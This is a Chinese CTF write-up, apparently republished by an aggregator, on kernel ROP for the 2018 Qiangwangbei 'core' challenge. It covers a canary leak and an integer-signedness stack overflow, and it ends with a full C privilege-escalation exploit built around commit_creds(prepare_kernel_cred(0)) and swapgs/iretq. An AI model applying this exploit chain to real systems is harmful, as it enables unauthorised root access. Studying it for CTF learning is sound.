Kernel pwn 基础教学之 Kernel ROP

发布时间:2022-06-08 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Kernel pwn 基础教学之 Kernel ROP脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

前言

Kernel ROP本质上还是构造ropchain来控制程序流程完成提权,不过相较于用户态来说还是有了一些变化,这里选取的例题是2018年强网杯的赛题core,本来觉得学起来会很快的但是没想到还是踩了不少坑。

一、题目分析

本题目环境开始kaslr保护,也就意味着我们需要泄露内存地址,从解压cpio文件后从inIT文件中分析出以下关键信息

cat /PRoc/kallsyms > /tmp/kallsyms
echo 1 > /proc/Sys/kernel/kptr_restrict

这表示着我们虽然不能从/proc/kallsyms中读内存地址,但是/proc/kallsyms中的地址信息已经导入了/tmp/kallsyms中,所以我们只需要读取/tmp/kallsyms中的内存地址信息就可以 然后本题insmod的模块名是core.ko,也就是我们需要分析的二进制文件。开启Canary、NX保护,如果要构造ropchain的话需要泄露Canary

Kernel pwn 基础教学之 Kernel ROP

1、core_ioctl

Kernel pwn 基础教学之 Kernel ROP

在core_ioctl中定义了三种功能,根据我们传参的不同来执行不同的功能:

0x6677889B:执行core_read函数
0x6677889C:对全局变量off赋值
0x6677889A:执行core_copy_func函数

2、core_read

Kernel pwn 基础教学之 Kernel ROP

关键点在copy_to_user上,因为在core_ioctl中我们可以直接对全局变量off赋值,所以我们可以利用这个任意偏移信息泄露把Canary的值泄露出来,观察变量str距离rbp偏移为0x50,而canary距离rbp为0X10,故确定off的值应为0x40即可泄露Canary。

3、core_write

Kernel pwn 基础教学之 Kernel ROP

这可以将用户态构造好的ropchain通过core_write赋值到内核态的全局变量name中。

4、core_copy_func

Kernel pwn 基础教学之 Kernel ROP

可以看到这里的参数size在判断大小时是按照int64标准来的,但是在进行copy的时候确实按照无符号整数标准来进行的,这里就造成了内核栈的溢出,结合前面的core_write函数我们可以对全局变量name赋值为用户态的ropchain,那么通过core_copy_func函数即可将ropchain放入内核栈中并造成栈溢出,进而达成控制程序流程提权的目的。

二、漏洞利用

这里先说一下kernel rop相较于用户态rop的不同点吧。在用户态中我们的目的是为了获得shell,也就是令程序执行诸如system("/bin/sh")一类的函数,然而到了kernel pwn中我们的目的从原先的getshell变成了提权,也就是执行commit_creds(prepare_kernel_cred(0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行system("/bin/sh")获取root权限的shell才可以,所以在我看来kernel rop变得无非就是两步:执行提权函数,返回用户态获取rootshell。从内核态返回用户态所需要用到的swapgs指令与iretq指令,前者是在从用户态进入内核态时,通过交换IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq指令则用来恢复用户态的cs、ss、rsp、rip、rflags的信息。其具体布局如下所示:

+-----------+
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |
+-----------+

这里再说一下自己踩到的一个坑吧,也是脑子当时没有转过来弯。在计算内核gadget地址的时候我们使用ropPEr得到的gadget地址需要加上offset才是真实地址,这个和用户态的一样很好理解,而这个offset的获取办法我在这里简单说一下

Kernel pwn 基础教学之 Kernel ROP

通过这种方式我们可以通过从/tmp/kallsyms中得到的commit_creds函数的真实地址减去0x9c8e0就可以得到vMLinux_base的地址,而刚才所说的offset就是vmlinux_base减去raw_vmlinux_base,即0xffffffff81000000的值。好了来整理一下我们的利用思路吧:1、通过/tmp/kallsyms文件获得commit_creds函数与prepare_kernel_cred函数地址,并计算出所需gadget地址。2、对全局变量off赋值0x40,通过core_read函数获得canary的值。3、构建好ropchain,使用core_write函数将ropchain复制到内核态中 4、通过core_copy_func函数中的数值溢出造成的栈溢出漏洞,将ropchain放入栈中,退出函数时完成提权并返回用户态getrootshell。

Exp:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
 
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
 
int GetAddress() {
 char *ptr;
 char buf[0x30] = {0};
 FILE* fd = fopen("/tmp/kallsyms","r");
 
 if (!fd) {
  puts("[-] ERROR.");
  return 0;
 }
 
 while(fgets(buf, sizeof(buf), fd)) {
  if (commit_creds && prepare_kernel_cred){
   printf("[+] Find: commit_creds: 0x%llxn[+] Find: prepare_kernel_cred: 0x%llxn", commit_creds, prepare_kernel_cred);
   return 1;
  }
 
  if (strstr(buf, "commit_creds")) {
   commit_creds = strtoull(buf, ptr, 16);
  }
  if (strstr(buf, "prepare_kernel_cred")) {
   prepare_kernel_cred = strtoull(buf, ptr, 16);
  }
 
 }
 
 return 0;
}
 
void SaveStatus() {
 __asm__(
  "mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"
  "pop user_rflags;"
 );
}
 
void GetShell() {
 if (!getuid()) {
  system("/bin/sh");
 }
 else {
  puts("[-] CAN NOT GETSHELL.");
  exit(1);
 }
}
 
void main() {
 size_t rop[0x100];
 char user_buf[0x40] = {0};
 char* ptr;
 int i = 8;
 
 SaveStatus();
 GetAddress();
 vmlinux_base = commit_creds - 0x9c8e0;
 size_t offset = vmlinux_base - raw_vmlinux_base;
 size_t pop_rdi = 0xffffffff81679ba8 + offset;
 size_t pop_rdx = 0xffffffff810a0f49 + offset;
 size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
 size_t swapgs = 0xffffffff81a012da + offset;  // swapgs; popfq; ret;
 size_t iretq = 0xffffffff81050ac2 + offset;   // iretq; ret;
 
 int fd = open("/proc/core", 2);
 
 if (!fd) {
  puts("[-] OPEN /proc/core ERROR.");
  exit(0);
 }
 
 
 ioctl(fd, CORE_OFF, 0x40);
 ioctl(fd, 0x6677889B, user_buf); //canary in buf.
 size_t canary = ((size_t*)user_buf)[0];
 printf("[+] Find canary: 0x%llxn", canary);
 
 //commit_creads(prepare_kernel_cred(0));
 rop[i++] = canary;
 rop[i++] = 0;
 rop[i++] = pop_rdi;
 rop[i++] = 0;
 rop[i++] = prepare_kernel_cred;
 rop[i++] = pop_rdx;
 rop[i++] = commit_creds;
 rop[i++] = mov_rdi_rax;
 //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 rop[i++] = swapgs;
 rop[i++] = 0;
 rop[i++] = iretq;
 rop[i++] = (size_t)GetShell;
 rop[i++] = user_cs;
 rop[i++] = user_rflags;
 rop[i++] = user_sp;
 rop[i++] = user_ss;
 
 write(fd, rop, sizeof(rop));
    ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
}

 

脚本宝典总结

以上是脚本宝典为你收集整理的Kernel pwn 基础教学之 Kernel ROP全部内容,希望文章能够帮你解决Kernel pwn 基础教学之 Kernel ROP所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。